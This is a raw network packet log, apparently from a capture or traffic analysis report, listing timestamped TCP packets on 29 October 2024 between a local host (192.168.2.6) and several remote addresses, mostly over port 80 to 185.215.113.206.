Oct 29, 2024 15:27:49.751018047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751029015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751043081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751060963 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751086950 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751183033 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751207113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751214027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751228094 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751229048 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751235008 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751252890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751255035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751256943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751257896 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751269102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751275063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751281977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751332045 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751332045 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751365900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751367092 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751374960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751379967 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751386881 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751391888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751410961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751414061 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751420975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751427889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751439095 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751468897 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751514912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751528025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751533985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751542091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751549006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751560926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751566887 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751568079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751576900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751581907 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751589060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751595020 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751597881 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751601934 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751610994 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751653910 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751671076 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751678944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751688957 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751743078 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.751868963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751880884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.751938105 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752063990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752070904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752084017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752090931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752095938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752109051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752125978 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752188921 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752219915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752233982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752245903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752253056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752259016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752269030 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752274990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752294064 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752304077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752304077 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752334118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752340078 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752356052 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752383947 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752506971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752533913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752547026 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752553940 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752558947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752567053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752573013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752578974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752584934 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752605915 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752624989 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752671003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752685070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752724886 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752757072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752764940 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752814054 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752846003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752861023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752866983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752872944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752876997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752882957 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.752898932 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752914906 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.752950907 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753042936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753058910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753104925 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753204107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753211021 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753222942 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753228903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753235102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753247976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753253937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753259897 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753261089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753281116 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753293991 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753318071 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753340006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753354073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753360033 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753370047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753376007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753381968 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753387928 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753388882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753403902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753406048 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753410101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753417015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753422976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753438950 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753458977 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753485918 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753499985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753508091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753518105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753555059 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753716946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753726959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753740072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753771067 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753859043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753866911 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753876925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753887892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753895998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753907919 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753911972 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753912926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753921986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.753942966 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753956079 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.753987074 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754034996 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754040956 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754085064 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754103899 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754111052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754122972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754127979 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754132986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754138947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754149914 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754154921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754157066 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754162073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754174948 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754175901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754188061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754192114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754199028 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754204988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754205942 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754213095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754218102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754225016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754229069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754240990 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754245043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754251003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754257917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754260063 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754264116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754276037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754280090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754281998 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754286051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754293919 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754300117 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754326105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754333019 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754336119 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754348993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754364014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754374027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754379988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754384041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754384995 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754393101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754405022 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754406929 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754412889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754419088 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754426003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754426956 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754432917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754436970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754441977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754456997 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754457951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754476070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754487038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754488945 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754493952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754499912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754513025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754522085 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754527092 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754535913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754539013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754538059 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754547119 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754554987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754565954 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754571915 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754580021 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754591942 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754605055 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754611969 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754621983 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754626036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754642963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754676104 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754683971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754692078 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754702091 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754704952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754714012 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754726887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754733086 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754733086 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754745007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754766941 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754786968 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754805088 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754812956 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754821062 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754827023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754832983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754838943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754843950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754854918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754861116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754868031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754874945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754879951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754890919 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754897118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754909992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754913092 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754916906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754928112 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754937887 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754956007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754956961 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.754973888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754980087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754992008 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.754997969 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755003929 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755007029 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.755008936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755023003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755029917 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.755029917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755053043 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.755073071 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.755099058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755117893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755130053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755150080 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755157948 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755168915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755175114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755178928 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.755179882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755187988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755193949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755197048 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.755202055 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755213022 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755218983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755219936 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.755227089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755234003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755239010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755240917 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.755245924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755251884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755258083 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755264044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755268097 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.755271912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755278111 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755294085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755300045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755306005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.755307913 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.755333900 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.755342007 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.776768923 CET	443	50021	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:49.777390957 CET	443	50013	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.777420998 CET	443	50013	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.777468920 CET	443	50013	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.777477980 CET	50013	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.777508974 CET	50013	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.778054953 CET	50021	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:49.778074026 CET	443	50021	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:49.782020092 CET	443	50021	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:49.782084942 CET	50021	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:49.783338070 CET	50021	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:49.783509970 CET	443	50021	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:49.783529997 CET	50021	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:49.786705017 CET	50013	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.786717892 CET	443	50013	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.786727905 CET	50013	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.786734104 CET	443	50013	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.790033102 CET	50023	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.790052891 CET	443	50023	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.790144920 CET	50023	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.790323019 CET	50023	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.790335894 CET	443	50023	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.793642998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.793648958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.793662071 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.793674946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.793710947 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.793729067 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.810928106 CET	50024	443	192.168.2.6	20.42.65.94
